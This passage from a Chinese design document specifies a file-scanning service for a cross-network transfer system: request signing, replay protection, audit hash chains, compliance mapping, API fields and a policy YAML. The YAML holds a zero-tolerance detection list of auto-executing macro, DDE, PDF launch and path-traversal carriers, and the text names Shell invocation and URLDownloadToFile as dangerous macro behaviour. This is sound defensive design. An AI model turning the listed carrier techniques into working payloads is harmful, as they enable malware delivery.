+| 误报代价高 | 大量正常文档存在非标准结构,零容忍会阻塞业务 | +| 检出能力有限 | 结构校验只能发现部分畸形,无法覆盖全部解析器漏洞 | +| 责任边界 | 根治该类风险属终端侧加固范畴(打补丁、限制字体自动加载、禁用宏) | + +**检测服务的责任边界**:识别出「该格式存在解析器攻击面」并在结论中提示,**不给出「检测通过即绝对安全」的暗示**。 + +#### 4.8.7 链接与二维码:分级而非一刀切 + +外部链接在正常公文中极常见(法院官网、办事指南),一刀切会造成严重误报。因此采用分级: + +| 情形 | 判定 | 处置 | +| ---------------------- | ----- | ---------------- | +| 命中恶意 URL 库 | 确定性命中 | **零容忍,拒绝** | +| 指向非常规端口 / IP 直连 / 短链服务 | 特征命中 | 转复核 | +| 域名与内网已知系统同名但解析异常 | 特征命中 | 转复核 | +| 普通 http/https 链接 | 无命中 | **放行,但在打开风险中提示** | + +二维码同理:解码后按 URL 规则判定;同时识别"二维码内容与文档主题完全无关"这一可疑组合。 + +#### 4.8.8 打开风险等级(结论的独立维度) + +在「人打开」场景下,检测服务应把「已确认有害」与「需用户注意」区分开。前者必须拦,后者应告知。 + +```json +{ + "verdict": "suspicious", + "action": "pass_with_flag", + "score": 25.0, + "reason": "文档包含外部链接与二维码,未命中恶意特征", + "open_risk": { + "level": "medium", + "factors": ["external_url", "qrcode", "contains_macro"], + "advice": "此文件包含宏与外部链接,打开前请确认来源,宏请勿启用", + "requires_macro_enable": true + } +} +``` + +| 等级 | 判定条件 | 提示语义 | +| ---------- | ------------------------------------------------------ | ------------------ | +| `low` | 无宏、无外链、无嵌入对象 | 无需特别提示 | +| `medium` | 含外部链接 / 二维码 / 隐藏内容 | 请确认来源后再访问链接 | +| `high` | 含宏(行为无害)/ 含外部模板引用 | 打开时请勿启用宏 | +| `critical` | 含可执行文件 / ISO / Linux ELF / .desktop / AppImage / 零容忍命中 | 请勿直接双击,使用虚拟机或联系管理员 | + +**设计要点**: + +| 要点 | 说明 | +| ----- | ---------------------------------------- | +| 独立字段 | `action` 供系统判断,`open_risk` 供人阅读,语义不同不可混用 | +| 消费方分离 | 摆渡系统读 `action`;内网用户看 `open_risk.advice` | +| 可忽略 | 对接方觉得多余可直接忽略该字段,不影响接口兼容 | +| 独立演进 | 提示文案调整不影响判定逻辑 | + +*** + +## 5. 安全设计 + +### 5.1 威胁模型 + +| 威胁 | 场景 | 应对 | +| -------- | ------------------ | ------------------------------ | +| 越权调用 | 未授权方直接调用检测接口 | mTLS + HMAC 签名 + 时间戳 + nonce | +| 重放攻击 | 截获合法请求后重复发送 | timestamp 窗口 ±300s + nonce 一次性 | +| 篡改响应 | 中间人将"恶意"结论改为"干净" | 响应体独立签名,调用方验签 | +| 参数试探 | 拿到密钥后反复调接口摸清检测逻辑 | 限流 + 按角色裁剪响应 + 错误信息不区分原因 | +| 恶意文件打服务端 | 上传构造的压缩炸弹 / 路径穿越文件 | 解包配额 + 路径清洗 + 进程隔离 + 超时限制 | +| 提权 | 通过文件内容影响服务进程 | 非 root 运行、只读文件系统、无出网权限 | +| 凭据泄露 | 配置文件中的密钥泄露 | 环境变量注入 + 文件权限 600 + 密钥派生隔离 | +| 日志篡改 | 事后删除不利审计记录 | 审计日志哈希链,篡改可被检测 | +| 未授权访问控制台 | 攻击者利用调试台探测系统 | 登录认证 + 失败锁定 + 生产默认关闭 | + +### 5.2 认证与签名体系 + +#### 5.2.1 凭证模型 + +每个调用方分配独立的 `client_id` / `secret`: + +* 密钥不直接使用,通过 **HKDF-SHA256** 按用途派生出相互隔离的子密钥: + * 请求签名密钥:`info = "meshsafe/api/v1/request-signing"` + * 响应签名密钥:`info = "meshsafe/api/v1/response-signing"` +* 用途隔离的意义:即使请求签名密钥泄露,攻击者也无法伪造响应签名 + +#### 5.2.2 请求签名 + +待签名串按固定顺序拼接,分隔符为 `\n`: + +``` +METHOD \n PATH \n CANONICAL_QUERY \n BODY_SHA256 \n TIMESTAMP \n NONCE \n CLIENT_ID +``` + +签名为 `HMAC-SHA256(请求签名密钥, 待签名串)` 的小写十六进制。 + +完整规范、校验向量、多语言示例见《接口文档》。 + +#### 5.2.3 响应签名 + +服务端对响应体计算签名并通过响应头返回: + +``` +X-MS-Response-Signature = HMAC-SHA256(响应签名密钥, SHA256(响应体) || TIMESTAMP) +``` + +调用方**必须验签**。未验签的调用方无法获得防篡改保障——这在文档中会明确标注为对接方的强制要求。 + +#### 5.2.4 防重放 + +| 机制 | 参数 | 说明 | +| --------- | ----------------------------------- | ------------- | +| 时间戳窗口 | ±300 秒(`MESHSAFE_SIGNATURE_WINDOW`) | 超窗直接拒绝 | +| nonce 一次性 | Redis `SET NX` + TTL | 重复 nonce 直接拒绝 | + +nonce 校验通过 Redis 保证分布式一致性;Redis 不可用时降级为仅时间戳校验(记录告警)。 + +#### 5.2.5 分权响应 + +| 角色 | 返回内容 | +| ---------- | --------------------------------------------------- | +| `operator` | 完整结论 + 全部 findings + 提取文件路径 | +| `basic` | 仅 verdict / score / action / reason 摘要 + 精简 file 信息 | + +目的是缩小信息泄露面,避免攻击者通过对比不同密钥的响应差异反推检测规则细节。 + +#### 5.2.6 错误信息不泄露原因 + +认证失败统一返回"认证失败",不区分"client_id 不存在"与"签名错误",避免 client_id 枚举。 + +### 5.3 控制台安全 + +| 控制项 | 实现 | +| ----- | ------------------------------------- | +| 口令存储 | PBKDF2-HMAC-SHA256,60 万次迭代,16 字节随机盐 | +| 口令复杂度 | ≥12 位,含大小写字母、数字、特殊字符 | +| 失败锁定 | 5 次失败锁定 15 分钟 | +| 会话管理 | 服务端会话存储,30 分钟超时,滑动续期 | +| CSRF | 状态变更请求校验 CSRF Token + SameSite Cookie | +| 首次登录 | 强制修改初始密码(`must_change_password`) | +| 操作审计 | 登录、登出、上传扫描、查看明细、策略重载全部留痕 | +| 生产关闭 | 默认 `always_on` 模式,路由不注册,访问返回 404 | + +### 5.4 审计与合规 + +| 控制项 | 实现 | +| ----- | -------------------------------------------------------- | +| 审计范围 | 所有 API 调用、认证事件、策略变更、人工复核、控制台操作 | +| 防篡改 | 哈希链:`row_hash = SHA256(记录字段 ‖ prev_hash)`,任一条被改则后续链断裂可检出 | +| 留存期 | ≥ 180 天(`MESHSAFE_AUDIT_RETENTION_DAYS`) | +| 完整性校验 | `GET /api/v1/audit/verify` 提供链完整性自检 | +| 日志外发 | 审计日志支持导出,便于对接集中审计平台 | + +### 5.5 运行环境安全 + +| 项 | 配置 | +| ---- | ------------------------------ | +| 容器用户 | 非 root 运行 | +| 文件系统 | 应用目录只读,仅临时目录可写 | +| 网络 | 检测容器无出网权限;仅 Nginx 暴露 443 | +| 密钥管理 | 环境变量注入,不写入镜像层 | +| 依赖 | 版本锁定(`requirements.txt` 精确版本号) | +| 镜像 | 固定基础镜像 tag,定期重建 | + +### 5.6 等保三级要求的融入点 + +本节不展开逐条对照(测评时另行整理),而是说明**等保三级对本系统的设计产生了哪些实际约束**——这些约束已经体现在前面的架构决策中。 + +#### 5.6.1 约束如何影响设计 + +| 等保要求方向 | 对本系统的实际影响 | 体现在哪 | +| ---------- | -------------------- | ------------------------- | +| **身份鉴别** | 接口必须有强鉴别,不能只靠 IP 白名单 | §5.2 请求签名全量校验 | +| **访问控制** | 需按角色分配权限,防止越权获取信息 | §5.2.5 分权响应 | +| **安全审计** | 审计记录需完整、留存 ≥6 个月、防篡改 | §5.4 哈希链 + 180 天 | +| **数据完整性** | 传输与存储过程需有完整性保护手段 | 请求体哈希 + 响应签名 + 哈希链 | +| **数据保密性** | 口令不可逆存储,密钥不落盘 | §5.3 PBKDF2 + §5.5 环境变量注入 | +| **剩余信息保护** | 检测后不留存敏感文件 | 临时文件任务结束即清理 | +| **安全计算环境** | 恶意代码防范软件能力 | 本系统自身即为恶意代码防范组件 | +| **集中管控** | 策略需集中配置与审计 | 策略引擎 + 策略版本快照 | + +#### 5.6.2 本系统需要特别注意的两点 + +**① "安全优先"的故障处理** + +等保要求"安全优先",因此策略的 `engine_failure_mode` 默认必须是 `fail_closed`(引擎不可用时拒绝文件)。这与一般业务系统的"可用性优先"相反,是刻意的设计取舍——检测服务在引擎故障时若继续放行,等同于没有检测。 + +**② 双因素鉴别的依赖** + +等保三级对重要系统要求两种或以上鉴别方式组合。本服务的接口层已具备"证书 + 请求签名"的双要素,但对**控制台的人工操作**而言,目前只有单一口令。 + +建议方案:控制台接入承载方的统一身份认证体系(UAC / CA 证书 / 短信令牌),由该体系提供第二因素。若测评要求服务自身实现,则需增加 TOTP 模块——这会成为一个待补项。 + +#### 5.6.3 依赖部署侧落实的事项 + +以下事项不在应用代码内,但测评时会被检查,需在部署方案中明确: + +| 事项 | 要求 | +| ------ | -------------------------------------------------- | +| 时钟同步 | NTP 同步,偏差 \< 1 秒(签名窗口 ±300 秒,同步可避免误拒) | +| TLS 证书 | 内部 CA 签发,TLS 1.2+,禁用弱套件 | +| 磁盘加密 | 存储数据库与策略文件的卷启用加密 | +| 容器加固 | 非 root、只读根文件系统、`cap_drop: ALL`、`no-new-privileges` | +| 网络隔离 | 检测网段与业务内网隔离,无出网路由 | +| 主机加固 | 麒麟 / Ubuntu 安全基线(SSH、口令策略、审计服务) | +| 备份策略 | 数据库与配置备份计划 + 演练记录 | + +*** + +## 6. 接口设计概要 + +> 完整契约见《接口文档》。此处仅列概要。 + +### 6.1 接口清单 + +| 方法 | 路径 | 说明 | 权限 | +| ---- | -------------------------------- | ---------- | -------- | +| POST | `/api/v1/scans` | 提交文件扫描 | 调用方 | +| GET | `/api/v1/scans/{task_id}` | 查询扫描结果 | 调用方 | +| POST | `/api/v1/scans/{task_id}/rescan` | 按当前策略重扫 | 调用方 | +| POST | `/api/v1/scans/{task_id}/review` | 人工复核结论回写 | operator | +| GET | `/api/v1/health` | 引擎状态与签名库版本 | 调用方 | +| GET | `/api/v1/policies` | 查询生效策略 | operator | +| POST | `/api/v1/policies/reload` | 重载策略文件 | operator | +| GET | `/api/v1/audit/verify` | 审计链完整性自检 | operator | + +### 6.2 结论字段语义 + +| 字段 | 取值 | 含义 | +| --------- | ------------------------------------------------------ | ---- | +| `verdict` | `clean` / `suspicious` / `malicious` / `error` | 总体判定 | +| `action` | `pass` / `pass_with_flag` / `manual_review` / `reject` | 处置建议 | +| `score` | 0\~100 | 风险评分 | + +**`action` 与 `verdict` 解耦**:调用方应依据 `action` 执行业务逻辑,`verdict` 供人判断。 + +### 6.3 处置动作语义 + +| action | 调用方应采取的行动 | +| ---------------- | ---------------------- | +| `pass` | 正常放行 | +| `pass_with_flag` | 放行但记录标记(低风险信号) | +| `manual_review` | 转入人工复核流程,暂不放行 | +| `reject` | 拒绝本次传输,并向用户说明 `reason` | + +### 6.4 响应结构概要 + +```json +{ + "task_id": "…", + "verdict": "malicious", + "score": 85.0, + "action": "reject", + "reason": "检测到 VBA 宏 + DDEAUTO 自动执行", + "status": "completed", + "file": { + "sha256": "…", "md5": "…", "size": 284915, + "real_type": "Microsoft Word 2007+", + "declared_ext": ".docx", "filename": "起诉状.docx" + }, + "findings": [ + { + "engine": "document", "layer": "L2", "severity": "critical", + "rule": "DDEAutoExecution", "detail": "…", "weight": 65.0 + } + ], + "extracted": [ { "path": "word/vbaProject.bin", "size": 10240 } ], + "meta": { + "scan_duration_ms": 1840, + "policy_version": "2026.10.1", + "clamav": { "version": "…", "signature": "…" } + } +} +``` + +### 6.5 同步 / 异步 + +| 模式 | 请求 | 响应 | +| -- | ------------------------------ | ----------------------------------------------------------------------------- | +| 同步 | `POST /api/v1/scans` | 直接返回完整结论 | +| 异步 | `POST /api/v1/scans`(文件超限或需沙箱) | 返回 `{ "task_id": "…", "status": "pending" }`,轮询 `GET /api/v1/scans/{task_id}` | + +### 6.6 版本与兼容策略 + +* 采用**路径版本**:`/api/v1/`,便于网关路由配置 +* v1 契约内的**新增字段**不视为破坏性变更,调用方应忽略未知字段 +* **字段删除或语义变更**必须升 v2,v1 与 v2 路径并存 +* 响应中始终携带 `meta.policy_version`,便于问题定位 + +### 6.7 打开风险等级(`open_risk`) + +本服务的结论有两个面向:**系统判定** 与 **人工提示**。前者供摆渡系统执行业务逻辑,后者供最终在内网打开文件的用户判断风险。`open_risk` 即为后者的独立字段。 + +#### 6.7.1 与 `action` 的语义分离 + +| 字段 | 消费者 | 含义 | +| ----------- | ------------ | ----------------------- | +| `action` | 摆渡系统 | **机器执行**——放行 / 拒绝 / 转复核 | +| `open_risk` | 内网用户 / 安全管理员 | **人阅读**——打开时需要注意什么 | + +两者独立演进:提示文案调整不影响判定逻辑;判定规则变更也不强制修改提示模板。 + +#### 6.7.2 字段结构 + +```json +{ + "open_risk": { + "level": "high", + "factors": ["contains_macro", "attached_template", "external_url"], + "advice": "此文件包含宏与外部模板引用,打开时请勿启用宏,并确认来源可信", + "requires_macro_enable": true + } +} +``` + +| 字段 | 类型 | 说明 | +| ----------------------- | ----- | -------------------------------------- | +| `level` | 枚举 | `low` / `medium` / `high` / `critical` | +| `factors` | 字符串数组 | 触发该等级的具体因素标识,供前端选择性提示 | +| `advice` | 字符串 | 面向最终用户的中文提示语,可直接展示 | +| `requires_macro_enable` | 布尔 | 该文件是否需要用户手动启用宏才能正常使用(仅提示,不代表检测建议) | + +#### 6.7.3 等级定义 + +| 等级 | 触发条件 | 典型提示 | +| ---------- | ------------------------------------------------------ | -------------- | +| `low` | 无宏、无外链、无嵌入对象、无非常规容器 | 无提示 | +| `medium` | 含普通外部链接 / 二维码 / 隐藏内容 | "请确认链接来源" | +| `high` | 含宏(行为无害)/ 含外部模板引用 / 含嵌入对象(非可执行) | "打开时请勿启用宏" | +| `critical` | 含可执行文件 / ISO / Linux ELF / .desktop / AppImage / 零容忍命中 | "请勿直接双击,联系管理员" | + +#### 6.7.4 消费方忽略权 + +对接方若不需要该字段可直接忽略,**不影响接口兼容**。本服务保证 `open_risk` 始终存在于响应中,即使 `verdict = clean` 也会返回 `level = low` 的结构。 + +#### 6.7.5 与零容忍的关系 + +零容忍命中时:`action = reject` 且 `open_risk.level = critical`。两者同时出现,摆渡系统看 `action` 自动拒绝,内网用户若绕过摆渡(通过其他途径拿到文件)也能在安全审计面板看到 `open_risk` 的警告。 + +*** + +## 7. 策略与裁决模型 + +### 7.1 裁决流程 + +``` +检测信号 + │ + ▼ +┌─────────────────────────────────┐ +│ 0. 零容忍检查(独立机制) │ ── 命中 → 直接 reject,不走评分 +└─────────────────────────────────┘ + │ 未命中 + ▼ +┌─────────────────────────────────┐ +│ 1. 硬性约束检查 │ ── 引擎可用性 / 大小 / 扩展名 / 加密 +└─────────────────────────────────┘ + │ 通过 + ▼ +┌─────────────────────────────────┐ +│ 2. rule_overrides 检查 │ ── 命中 → 按覆盖动作执行 +└─────────────────────────────────┘ + │ 未命中 + ▼ +┌─────────────────────────────────┐ +│ 3. 权重累加评分 + 阈值映射 │ ── 得到 verdict / action / open_risk +└─────────────────────────────────┘ +``` + +**顺序是强制的**:零容忍独立于评分模型,优先级最高。这样"路径穿越 / VBA 自动执行"这类绝对问题不会因为文件其他方面"干净"而被放过。 + +### 7.2 裁决步骤 + +| 步骤 | 检查 | 触发后果 | +| -- | ------------------------- | --------------------------------------- | +| 0 | 命中 `zero_tolerance_rules` | **直接 `reject`**,记录原因,跳过后续所有步骤 | +| 1 | 引擎可用性 | `fail_closed` 下直接拒绝 | +| 2 | 文件大小超限 | 直接拒绝 | +| 3 | 扩展名不在白名单 | 直接拒绝 | +| 4 | 文件加密且策略不允许 | 直接拒绝 | +| 5 | 命中 `rule_overrides` | 按覆盖动作执行 | +| 6 | 其余信号权重累加 | 得到评分 | +| 7 | 评分阈值映射 | 得到最终 `verdict` / `action` / `open_risk` | + +> **例外机制的切入点**:若文件同时命中零容忍规则和例外条件(见 §7.7),则零容忍检查会额外查询例外表——存在有效例外时跳过该条零容忍,继续进入步骤 1。这是整个裁决流程中唯一的"零容忍放宽"入口。 + +### 7.3 评分与阈值 + +| 评分区间 | verdict | action | +| ------------------------------------- | ------------ | ---------------- | +| 0 | `clean` | `pass` | +| 0 \< score \< review_low | `suspicious` | `pass_with_flag` | +| review_low ≤ score \< block_score | `suspicious` | `manual_review` | +| score ≥ block_score | `malicious` | `reject` | + +默认阈值:`review_score = [30, 70]`,`block_score = 70`。 + +### 7.4 策略文件 + +策略以 YAML 管理,与代码分离。调整裁决规则只改 YAML,不动代码。 + +```yaml +version: "2026.10.1" +global: + block_score: 70 + review_score: [30, 70] + engine_failure_mode: fail_closed + max_file_size: 52428800 + sync_max_size: 52428800 + allow_encrypted_archive: false + allow_encrypted_document: false + +# ===== 零容忍规则集(步骤 0,优先级最高)===== +# 命中即 reject,不走评分。与评分模型完全独立的机制。 +zero_tolerance_rules: + - VBAAutoExec + - VBAAutoExecShell + - MRaptorAutoExec + - MRaptorAutoExecSuspicious + - DDEAutoExecution + - PdfJavaScript + - PdfLaunchAction + - PdfOpenAction + - AttachedTemplate + - EmbeddedExecutable + - LnkWithAutoExec + - ChmWithScript + - IsoWithExecutable + - PathTraversal + - MacroObfuscated + +allowed_extensions: [ .docx, .pdf, .xlsx, .jpg, .png, .zip ] +sandbox_required_extensions: [ .exe, .msi, .js, .vbs, .iso ] + +# ===== 规则覆盖(步骤 5)===== +# 对特定规则强制指定处置动作,独立于权重累加 +rule_overrides: + VBAShellInvocation: { action: manual_review, reason: "…" } + ArchiveContainsExecutable: { action: manual_review, reason: "…" } + +# ===== 宏行为例外(步骤 0 的唯一放宽入口)===== +# 内网人员需要打开带宏的公文模板,按文件指纹放行 +# 详见 §7.7 例外机制 +macro_exceptions: + - fingerprint_sha256: "a1b2c3d4..." + filename_pattern: "公文模板*.docm" + reason: "内部公文模板,宏仅执行本地编号与签章定位" + approved_by: "admin" + approved_at: "2026-10-15T10:30:00Z" + expires_at: "2027-10-15T10:30:00Z" +``` + +策略加载时执行严格校验(阈值区间合法性、动作枚举合法性、扩展名格式、例外的 SHA256 格式、到期时间不早于当前),**校验不通过则拒绝加载并保留旧策略**,防止错误的策略文件导致误放行。 + +### 7.5 策略版本追溯 + +每次扫描结果记录 `policy_version` 与 `policy_sha256`。策略重载时在数据库中留存版本快照,支持"按历史策略复现"能力。 + +### 7.6 零容忍机制详解 + +#### 7.6.1 为什么独立于评分 + +评分是**相对度量**——权重累加过阈值才拒绝,天然存在"权重调参"问题。而"打开即执行"载体是**绝对问题**:一个宏文档哪怕只命中一条零容忍规则,也应直接拒。 + +如果把零容忍规则塞进评分体系(比如给 `PathTraversal` 一个 100 分权重),那么: + +* 策略维护者需要记住"这条规则权重必须 ≥ block_score 才会生效" +* 未来有人调低 `block_score` 可能无意间让零容忍规则失效 +* 逻辑上"零容忍"就变成了"高权重",语义弱化 + +**独立机制的好处**:零容忍是一份**不与评分耦合的清单**,增删条目无需考虑权重平衡。 + +#### 7.6.2 清单来源 + +当前零容忍规则集中的所有条目来源于 §4.8.3 的分层载体判定表。未来新增零容忍规则的准入条件: + +| 条件 | 说明 | +| -------- | ------------------- | +| 命中即有害 | 不存在"合法使用"的场景(如路径穿越) | +| 无法通过权重平衡 | 即使其他信号都是干净的,命中本身即应拒 | +| 可稳定判定 | 不依赖大模型或主观判断 | + +宏的处理是唯一例外——存在"合法宏模板"场景,因此引入例外机制(§7.7)而非直接把所有宏相关规则放进零容忍集。 + +#### 7.6.3 与 `rule_overrides` 的交互 + +``` +zero_tolerance_rules → 步骤 0 最先检查,命中直接 reject +rule_overrides → 步骤 5 在零容忍未命中后检查 +``` + +两者**不重叠**。如果某规则在零容忍清单中,它不会再出现在 `rule_overrides` 的覆盖对象里——因为零容忍已经处理了它。`rule_overrides` 仅针对"未进零容忍集但需要强制处置"的规则(如 `VBAShellInvocation`)。 + +### 7.7 宏行为例外机制 + +内网业务场景下,需要打开带宏的公文模板(自动编号、签章定位等),这类宏**不做网络访问、不调用系统命令、仅在本地操作文档**。零容忍机制必须为此预留受控的放宽入口。 + +#### 7.7.1 五道保险 + +| 保险 | 机制 | 效果 | +| --------- | ---------------------------- | ------------------------------------------------------ | +| **指纹绑定** | 例外按 `sha256` 精确匹配 | 换一个字节的模板文件就不匹配,攻击者无法批量绕过 | +| **双因素匹配** | 同时校验指纹 + 文件名模式(glob) | 防止同哈希文件被不同文件名复用 | +| **必须到期** | 例外必须有 `expires_at`,最长不超过 1 年 | 防止过期例外长期有效;到期自动失效 | +| **审批留痕** | 创建例外需 `approved_by` + 审计日志 | 谁批的、为什么批、批了什么全部可追溯 | +| **行为前提** | 例外仅对"无危险 API"的宏生效(§4.8.4 判定) | 宏虽在例外中,但若检测到 Shell 调用 / URLDownloadToFile / 混淆等,仍触发零容忍 | + +#### 7.7.2 例外如何生效 + +``` +文件进入零容忍检查 ──► 命中 VBAAutoExec ──► 查询例外表 + │ + ┌───────────┴───────────┐ + ▼ ▼ + 存在有效例外 无有效例外 + (指纹 + 文件名 + 或 已过期 + 宏行为无害) + │ │ + ▼ ▼ + 跳过此条零容忍 零容忍 reject + 继续步骤 1 +``` + +**关键约束**:例外是**逐规则、逐文件**的,不是"对某类文件全部例外"。一个例外只对清单中明确列出的那一条零容忍规则生效(如仅放宽 `VBAAutoExec`,但 `DDEAutoExecution` 仍会触发零容忍)。 + +#### 7.7.3 例外的审批流程 + +| 方式 | 描述 | 适用 | +| ----------------- | ------------------------------------------------------------------------ | ---------------------------- | +| **线下审批 + 写进策略文件** | 业务侧提交书面申请 → 安全管理员审核 → 写入 `policy.yaml` 的 `macro_exceptions` 段 → 控制台触发热重载 | 一期默认方式,流程清晰、审计留痕自然 | +| 系统内审批流 | 控制台内发起申请 → 另一名管理员审批 → 自动入库并热重载 | 待后续评估,一期不做(与线下方式等价,但开发量显著增加) | + +**一期采用线下审批**。理由:例外数量预计很少(可能 \<10 条),不值得为其开发审批工作流。控制台的配置编辑页面(§9.7)提供例外表的可视化增删改查。 + +*** + +## 8. 部署架构 + +### 8.1 容器拓扑 + +```yaml +services: + api: # FastAPI 应用(API + 控制台) + clamav: # clamd 守护进程 + db: # PostgreSQL + redis: # 任务队列 / 幂等缓存 / 限流 / nonce + nginx: # TLS 终止 + 静态资源 + 反向代理 +``` + +单机 Docker Compose 编排,无需 Kubernetes。 + +### 8.2 目标环境 + +| 环境 | 说明 | +| ---------------- | --------------------------------------------------------- | +| **检测服务部署(服务器端)** | Ubuntu 20.04+ / 麒麟 V10(服务器版),x86_64 架构 | +| **容器运行时** | Docker 20.10+ / Docker Compose v2 | +| **资源要求** | ≥ 4 核 8 GB(ClamAV 签名库加载需约 2 GB 内存),磁盘 ≥ 50 GB | +| **网络** | 检测服务部署在隔离区,仅对摆渡系统开放 443 | +| **目标终端环境** | 麒麟桌面/UOS(x86_64)+ WPS Office,纯 Linux 桌面环境(见 §4.8.2 威胁模型) | + +### 8.3 签名库离线更新流程 + +``` +① 外网同步机:freshclam 每日拉取官方 CVD +② 外网镜像:cvdupdate 模式提供私有镜像 +③ 单向导入:通过光闸/介质将签名库传入内网 +④ 内网分发:内网节点从内网镜像增量同步 +⑤ clamd 加载:更新签名库并重载 +⑥ 验证:GET /api/v1/health 确认版本与更新时间 +``` + +**要求**:更新流程需文档化并纳入运维手册;签名库超过 7 天未更新应在健康检查中告警。 + +### 8.4 网络访问控制 + +| 源 | 目标 | 端口 | 说明 | +| ----- | ---------- | ----------- | ------- | +| 摆渡系统 | Nginx | 443 | 检测接口 | +| 运维终端 | Nginx | 443 | 控制台(按需) | +| Nginx | api | 8000 | 内部 | +| api | clamav | 3310 | 内部 | +| api | db / redis | 5432 / 6379 | 内部 | +| api | 外部 | — | **禁止** | + +*** + +## 9. 在线调试台与文档体系 + +### 9.1 文档体系 + +保持精简,只保留两份: + +| 文档 | 读者 | 内容 | 载体 | +| ------ | ------- | ----------------------- | ------------------- | +| 本文档 | 全体 | 总体方案(架构、检测能力、安全设计、演进路线) | Markdown | +| 《接口文档》 | 对接方开发人员 | API 契约 + 签名规范 + 多语言示例 | Markdown(**对外交付物**) | + +其他内容按需在本文档内补充章节,不单独成文。运维手册、README 等在方案定稿后再补。 + +### 9.2 为何不能只提供 Swagger + +| 问题 | 说明 | +| ------------------- | --------------------------------------------------------- | +| 不体现签名机制 | Swagger 的 "Try it out" 必然失败(缺签名头),对接方会误判接口故障 | +| 不体现 multipart 签名特殊性 | 文件上传时 body 哈希如何计算、`Content-Type` 含随机 boundary 的处理方式必须文字说明 | +| 不体现响应验签 | 对接方若不做验签则失去防篡改保障,而这不会在 Swagger 中体现 | + +因此文档必须是\*\*"人读 Markdown + 机读 OpenAPI + 可运行示例代码"\*\* 三件套。 + +### 9.3 在线调试台组成 + +| 页面 | 路径 | 说明 | +| ---------- | ------------------ | ------------------------------ | +| Swagger UI | `/docs` | FastAPI 生成,含中文描述、示例值、枚举说明 | +| 签名调试台 | `/console/signing` | 表单输入 → 实时生成签名头 → 一键复制 | +| 请求模拟器 | `/console/try` | 构造带签名请求并实际发送,展示完整 HTTP 报文与验签结果 | +| 历史任务 | `/console/tasks` | 按时间/结论筛选,查看详情与 findings | +| 审计查询 | `/console/audit` | 查询审计日志,触发链完整性自检 | +| 引擎看板 | `/console/health` | 各引擎状态、签名库版本、队列深度 | + +**关键设计**:调试台自行实现一遍签名并展示验签计算过程,让对接方直观理解"签名怎么来、怎么验",比读十页文字更快。 + +### 9.4 控制台必须走正式接口 + +**控制台不得直接调用内部扫描函数**,必须经由完整 HTTP 链路: + +``` +浏览器 ──▶ /console/api/* ──▶ httpx(带签名) ──▶ /api/v1/scans ──▶ 业务逻辑 +``` + +理由: + +1. 测试出的是**真实对接体验**,包含签名正确性、响应验签头等 +2. 避免"控制台能跑通但对接方跑不通"的旁路假象 +3. 控制台自身即为一个调用方,形成 dogfooding 验证 + +**实现要点**:控制台持有独立的内部凭证 `client_id = console-internal`,其调用在审计日志中与外部调用方一致,可区分"人工上传测试"与"系统自动扫描"。 + +### 9.5 门控与部署模式 + +配置项(`config/console.yaml`): + +```yaml +console: + mode: always_on # always_on / enabled / internal_only + show_api_docs: false + show_signing_tool: false + allow_live_scan: false + show_full_findings: false + allowed_cidrs: [] # internal_only 模式下的允许网段 +``` + +| 模式 | 控制台 | /docs | 适用 | +| --------------- | ----- | ----- | ------------ | +| `always_on` | 关闭 | 关闭 | **生产默认** | +| `enabled` | 开放 | 开放 | 开发测试 | +| `internal_only` | 限指定网段 | 限指定网段 | 生产但内部团队需查阅文档 | + +**关闭的实现方式**:在**路由注册期**决定,而非运行期判断。 + +```python +if console_cfg.mode != "always_on": + app.include_router(console_router, prefix="/console") +``` + +这样生产环境中 `/console` 与 `/docs` 在路由表中根本不存在,外部扫描得到 404 —— 比返回 403 更好,因为 403 会暴露"这里有东西"。 + +**注意**:`openapi_url` 需同步控制,否则关闭 UI 但保留 `/openapi.json` 等于文档仍在被爬取。 + +### 9.6 对外文档的信息边界 + +对外文档需控制信息暴露程度: + +| 应当提供 | 不应提供 | +| -------------- | ---------- | +| API 契约与字段枚举 | YARA 规则正文 | +| 签名规范与校验向量 | 内部代码结构与目录 | +| 规则名 + 含义 + 严重度 | 引擎版本号与依赖细节 | +| 多语言完整示例代码 | 绕过检测的手法说明 | + +### 9.7 策略配置页面 + +#### 9.7.1 核心原则:数据库为准 + +配置同时以 YAML 文件和数据库两种形式存在,但**数据库是权威数据源**: + +| 项 | 说明 | +| ------- | ---------------------------------------------------- | +| 权威源 | `policy_versions` 表 + `macro_exceptions` 表,控制台编辑直接写库 | +| YAML 文件 | 每次发布版本时从数据库**导出**,供文件备份与容器镜像打包使用 | +| 加载方式 | API 服务启动时从数据库加载当前生效版本,而非读 YAML 文件 | +| 一致性 | 数据库与 YAML 的 SHA256 定期校验,不一致则告警 | + +**为什么数据库为准**:实施人员通过网页改配置时,不可能手动同步修改文件和重新部署容器。数据库方案让"编辑 → 热重载"变为一次操作。 + +#### 9.7.2 双模式编辑 + +``` +┌──────────────────────────────────────────────────┐ +│ 策略编辑页 /console/config │ +├──────────────┬───────────────────────────────────┤ +│ 📋 表单模式 │ 📝 YAML 模式 │ +│ │ │ +│ · 分组卡片 │ 完整 YAML 编辑器(只读高亮) │ +│ · 下拉框/开关 │ 直接编辑原始结构 │ +│ · 带校验提示 │ 高级用户可精确控制字段 │ +│ · 初学者友好 │ 实施人员可直接粘贴整段配置 │ +└──────────────┴───────────────────────────────────┘ + │ │ + └────────┬───────────┘ + ▼ + 统一后端校验 → 保存到数据库 → 触发热重载 +``` + +| 模式 | 适合场景 | 特点 | +| ------- | ---------- | --------------------------------------- | +| 表单模式 | 运维人员日常调参 | 分组卡片、枚举下拉、阈值滑块、SHA256 格式校验、到期时间日历选择 | +| YAML 模式 | 高级实施人员批量配置 | 与 `policy.yaml` 完全同结构、语法高亮、粘贴即校验、实时预览影响 | + +两种模式共享同一份后端校验逻辑,保存时执行相同的完整校验(§7.4 策略文件校验规则)。 + +#### 9.7.3 策略页面分区 + +``` +策略配置页 +├── ① 基本裁决参数(global) +│ ├── block_score / review_score 阈值滑块 +│ ├── engine_failure_mode 开关 +│ └── 各文件大小上限 +│ +├── ② 零容忍规则集(zero_tolerance_rules) +│ ├── 全部规则,每条独立开关 +│ ├── 新增 / 删除条目(需填规则名) +│ └── 每条附规则含义说明与来源 +│ +├── ③ 规则覆盖(rule_overrides) +│ ├── key = 规则名,value = {action, reason} +│ ├── 下拉框列出已注册的全部规则供选择 +│ └── action 枚举限制为 reject / manual_review +│ +├── ④ 宏行为例外(macro_exceptions) +│ ├── 表格:指纹 / 文件名模式 / 原因 / 审批人 / 到期时间 +│ ├── 新增时校验 SHA256 格式、到期时间 +│ ├── 到期自动标记失效,保留历史记录 +│ └── 支持"扫描中发现需例外的文件 → 一键添加"快捷入口 +│ +├── ⑤ 允许的扩展名(allowed_extensions) +│ 